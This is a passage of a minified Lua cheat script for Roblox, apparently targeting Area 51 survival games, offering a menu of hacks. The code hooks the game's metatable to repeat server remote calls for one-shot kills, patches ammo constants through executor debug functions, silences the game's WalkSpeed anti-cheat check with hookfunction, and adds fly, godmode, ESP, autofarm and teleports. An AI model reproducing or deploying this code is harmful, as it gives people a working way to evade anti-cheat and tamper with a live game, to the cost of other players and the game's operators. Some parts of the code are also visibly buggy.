workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove Toxic Water","Removes Toxic-Water.",function()game:GetService("Workspace").AREA51.Map.BossRoom.ToxicWater:Destroy()end)z:NewToggle("Remove Kill Parts","Removes Kill Parts.",function(R)if R then while wait()do for a2,v in pairs(game.Workspace:GetChildren())do if v:IsA("TouchTransmitter")then v:Destroy()end end end end end)z:NewButton("Get Case File","Gives you case-file.",function()firetouchinterest(k.Character.HumanoidRootPart,game:GetService("Workspace")["Case file"].Hitbox,0)end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Boss","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==3508248007 then local o="BloodTheme"local x=n.CreateLib("Area 51 Storming UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end;for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Character end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Get all Weapons','Gives you all the weapons in-game.',function()for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"MissileTouch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Remove Parts:")local z=y:NewSection("")z:NewButton('Remove Invisible Walls','Click this button to remove the Invisible walls around the map.',function()game:GetService("Workspace")["Invisible Walls"]:Destroy()end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("")z:NewToggle("Loop Teleport to Leader","Enable/Disable to loop teleport to leader.",function(R)if R then _G.loopTeleport=true;while wait()do if _G.loopTeleport==true then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace")["Characters to kill"].Leader.Torso.CFrame end end else _G.loopTeleport=false end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==4631179692 then local o="BloodTheme"local x=n.CreateLib("Killhouse UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then 